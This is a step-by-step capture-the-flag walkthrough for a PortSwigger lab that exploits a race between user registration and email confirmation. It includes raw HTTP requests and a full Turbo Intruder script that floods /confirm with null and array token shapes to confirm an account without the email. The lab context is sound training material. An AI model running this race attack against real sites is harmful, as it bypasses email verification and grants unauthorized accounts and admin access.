[Objective: exploit a race between **user registration**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) and **email confirmation** to register an account with an email you don’t control, then log in and delete user **carlos**. Requirements: **Burp Suite 2023.9+**, latest **Turbo Intruder** (BApp), a browser. --- ## 1) Recon the flow (confirm your target is the right lab) 1. Open the lab in a browser. 2. Go to **Register** and read constraints: * Email domain must be `@ginandjuice.shop`. * Registration requires clicking a confirmation link (delivered via email). 1. In **Proxy → HTTP history**, locate: * `GET /resources/static/users.js` (or similar). This JS reveals how the confirmation page works. * You should learn the confirmation action is **`POST /confirm?token=...`** (token comes from the query string). 4. Craft the confirmation request in **Repeater** and test the server’s behavior: ![[CleanShot 2025-08-25 at [email protected]]] * With arbitrary token: ``` POST /confirm?token=1 HTTP/2 Host: <LAB-HOST> Content-Type: application/x-www-form-urlencoded Content-Length: 0 ``` → Response like `Incorrect token: 1`. * Without the `token` parameter: → Response like `Missing parameter: token`. * With **empty** token: ``` POST /confirm?token= ``` → Likely `Forbidden` (patch attempt). * With **array** token (null-ish shape many frameworks coerce): ``` POST /confirm?token[]= ``` → Response like `Invalid token: Array` (good sign: the backend **parses** an empty array; this is our collision primitive). **Why this matters:** There’s a small window after `/register` begins but **before** the server persists a real token. In this sub-state, a **null/empty** token shape (e.g., `token[]=`) may pass the confirmation check. --- ## 2) Baseline registration request (to reuse in Turbo Intruder) 1. Register once normally to **capture the exact POST** the form sends (fields, names, CSRF, etc.). In **HTTP history**, open **`POST /register`** and send to **Repeater**. 2. Edit the **body** so **both** the username **and** the **local-part** of the email are **payload markers** (two `%s`). Keep your real CSRF, and include every field the form uses (often `confirmPassword` too): ``` csrf=<YOUR_CSRF>&username=%s&email=%s%40ginandjuice.shop&password=p%40ssw0rd%21&confirmPassword=p%40ssw0rd%21 ``` * `%s` #1 → username * `%s` #2 → **local-part** of the email (the part before `@`) 3. **Important sanity checks now:** * No stray double ampersands (e.g., `csrf=...&&username=` is wrong). * Manually hit in Repeater: ``` POST /confirm?token[]= ``` and verify you get a consistent “invalid/array” type message. The endpoint is live. --- ## 3) Fire the race with Turbo Intruder (HTTP/2; single connection) From your **`POST /register`** tab in **Repeater** (the one with two `%s` in the body): * Right-click → **Extensions → Turbo Intruder → Send to Turbo Intruder**. Paste this **Jython 2.7–compatible** script (no f-strings; includes three token shapes). Replace `HOST` and `COOKIE` with your values. If `/confirm` does **not** need a cookie, remove the `Cookie:` lines in the confirm requests. ```python # DEBUG race: logs ALL responses, sends 3 token shapes. Uses /register from Repeater (must contain TWO %s). # Works on Jython 2.7. def queueRequests(target, wordlists): engine = RequestEngine( endpoint=target.endpoint, concurrentConnections=1, # single HTTP/2 conn for tight interleaving engine=Engine.BURP2, timeout=10 ) HOST = '<LAB-HOST>' COOKIE = '<YOUR_SESSION_COOKIE_NAME=VALUE>' # if confirm doesn't need it, remove Cookie lines below confirmA = ( 'POST /confirm?token[]= HTTP/2\r\n' 'Host: {h}\r\n' 'Cookie: {c}\r\n' 'Content-Type: application/x-www-form-urlencoded\r\n' 'Content-Length: 0\r\n\r\n' ).format(h=HOST, c=COOKIE) confirmB = ( 'POST /confirm?token[0]= HTTP/2\r\n' 'Host: {h}\r\n' 'Cookie: {c}\r\n' 'Content-Type: application/x-www-form-urlencoded\r\n' 'Content-Length: 0\r\n\r\n' ).format(h=HOST, c=COOKIE) confirmC = ( 'POST /confirm?token= HTTP/2\r\n' 'Host: {h}\r\n' 'Cookie: {c}\r\n' 'Content-Type: application/x-www-form-urlencoded\r\n' 'Content-Length: 0\r\n\r\n' ).format(h=HOST, c=COOKIE) attempts = 80 # raise if needed confirms_per_shape = 60 # 3 shapes × 60 = 180 confirms per attempt for attempt in range(attempts): gate = str(attempt) # lower-case, simple payload; will fill BOTH %s markers (username AND email local-part) payload = 'u{0:02d}'.format(attempt) # CRITICAL: pass a list for two %s markers -> [username, email-local] engine.queue(target.req, [payload, payload], gate=gate, label='REG-'+payload) # flood confirms in same gate (3 shapes) for i in range(confirms_per_shape): engine.queue(confirmA, gate=gate, label='CONF-A-{0}-{1}'.format(attempt, i)) engine.queue(confirmB, gate=gate, label='CONF-B-{0}-{1}'.format(attempt, i)) engine.queue(confirmC, gate=gate, label='CONF-C-{0}-{1}'.format(attempt, i)) engine.openGate(gate) # release all together def handleResponse(req, interesting): # Log everything; sort later by Status/Length table.add(req) # Highlight clear success responses if req.status == 200 and 'Account registration for user' in req.response: table.add(req) ``` **What it does:** * Queues **one** `/register` + **many** `/confirm` for each attempt. * Uses **same gate** to release both simultaneously (maximize overlap with the token-persistence window). * Tries three nullish token shapes: `token[]=`, `token[0]=`, `token=`. --- ## 4) Interpreting results & finishing the lab * In Turbo Intruder’s results table, sort by **Status** and **Length**. * A successful win typically produces: * `200 OK` on `/confirm` with body containing: ``` Account registration for user uNN successful ``` * (Some instances may `302` then show success; your results table shows all). **Once you see a success row:** 1. Note the **username** (e.g., `u07`). 2. Log in with that username and the **static password** you used in the registration body (e.g., `p@ssw0rd!`). 3. Go to the **Admin panel**. 4. **Delete user `carlos`**. Done. ![[CleanShot 2025-08-25 at [email protected]]]